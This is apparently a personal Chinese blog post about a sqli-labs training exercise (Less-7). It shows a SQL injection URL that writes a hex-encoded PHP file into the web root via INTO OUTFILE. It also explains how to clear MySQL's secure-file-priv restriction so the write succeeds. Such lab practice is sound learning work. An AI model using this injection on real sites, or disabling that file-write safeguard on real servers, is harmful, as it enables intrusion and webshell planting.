在練習 sql-labs 的第七關的時候,教程上是使用 into outfile 直接寫 webshell 進去,教程地址如下:
https://www.cnblogs.com/lcamry/p/5763105.html
我在實際練習的時候,執行了導出文件的 sql 語句,但發現 webshell並沒有寫入到指定目錄下。
http://192.168.111.130/sql/Less-7?id=1')) and 1=2 union select 1,2,0x3c3f70687020706870696e666f28293f3e into outfile "D:/phpStudy/PHPTutorial/WWW/sql/Less-7/t.php"%23
於是在虛擬機上執行了一下導出文件的命令,排查一下是php的原因還是mysql本身的原因。
select 111 into outfile "d:/112.txt";
發現 mysql 報錯:
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
on so it cannot execute this statement
查了一下資料,可能是mysql沒有權限寫;或者是指定的目錄不在mysql規定的目錄內。
查看mysql規定的目錄:
show variables like "%secure-file-priv%";
發現 secure-file-priv 這個變量值爲空,也就是任何目錄都不可以。
解決辦法,在mysql根目錄下的 my.ini 配置文件中,指定 secure-file-priv 變量的值。
如果指定爲一個目錄,則只能將文件導出在該目錄下。如果想所有目錄都可以導出,將 secure-file-priv = '' 即可。
secure-file-priv = ''
保存文件並重啓mysql進程即可。
再執行一次之前的 sql注入操作,發現文件已經被寫入到web目錄下了。
並且可以訪問,